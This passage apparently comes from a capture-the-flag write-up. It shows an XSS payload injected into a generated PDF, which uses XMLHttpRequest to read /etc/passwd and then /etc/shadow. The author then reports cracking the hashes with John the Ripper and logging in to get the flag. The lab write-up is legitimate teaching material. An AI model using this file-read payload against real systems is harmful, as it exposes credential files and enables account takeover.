Payload Used:-
```html<script>    x=new XMLHttpRequest;    x.onload=function(){      document.write(this.responseText)};    x.open("GET","file:///etc/passwd");    x.send();</script>
```
This render the /etc/passwd file.
Then I tried to open shadow file where all the password are stored in linux.
![](https://cdn-images-1.medium.com/max/800/1*cobnZ0bU75pwEpF6iHcEzQ.png)
Fortunately, the /etc/shadow file rendered.
![](https://cdn-images-1.medium.com/max/800/1*fKfLV7ngyIsP15tirYqjzQ.png)
cracked the hash with john
then logged in with the username and password I got from john and got the flag
![](https://cdn-images-1.medium.com/max/800/1*UV5AKxK-8995hXaXoRH7lA.png)
References:- --> https://blog.noob.ninja/local-file-read-via-xss-in-dynamically-generated-pdf/
